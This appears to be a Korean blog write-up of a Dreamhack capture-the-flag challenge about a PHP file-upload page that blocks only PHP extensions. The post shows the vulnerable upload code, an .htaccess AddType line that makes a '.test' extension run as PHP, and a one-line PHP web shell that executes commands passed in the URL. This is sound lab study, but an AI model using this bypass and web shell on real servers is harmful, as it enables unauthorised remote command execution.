[ Dreamhack ] Apache htaccess

Hyeonjin Lee·2023년 4월 1일
0

문제 분석



문제 페이지에 접속해보면 파일을 업로드 할 수 있는 페이지가 있다.


<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

제공된 소스코드를 보면 php, php3, php4 등의 확장자를 필터링 하고 있다.


문제 풀이


php 이외의 파일은 필터링이 없으므로 .htaccess파일을 업로드 한 뒤 다른 확장자로 웹 쉘을 실행시킬 수 있다.

.htaccess는 웹서버 접근 제어 파일로, 내부적으로 새로운 타입을 명명하거나 디렉토리 접근 권한 등 다양한 설정을 변경할 수 있다.


따라서 다음 내용이 들어간 .htaccess 파일을 만들어 업로드 하면 .test확장자를 가진 파일 역시 php로 동작하게 된다.

AddType application/x-httpd-php .test


정상적으로 .htaccess 파일이 업로드 되는 것을 확인할 수 있다.

이후 확장자가 .test인 웹쉘을 업로드 해주면 문제를 해결할 수 있다.

//webshell.test
<?php
	system($_GET['cmd']);
?>



업로드한 webshell.test파일이 정상적으로 작동하게 된다.



flag파일을 찾아 실행시키면 flag를 얻을 수 있다.

profile
요즘 행복해요

0개의 댓글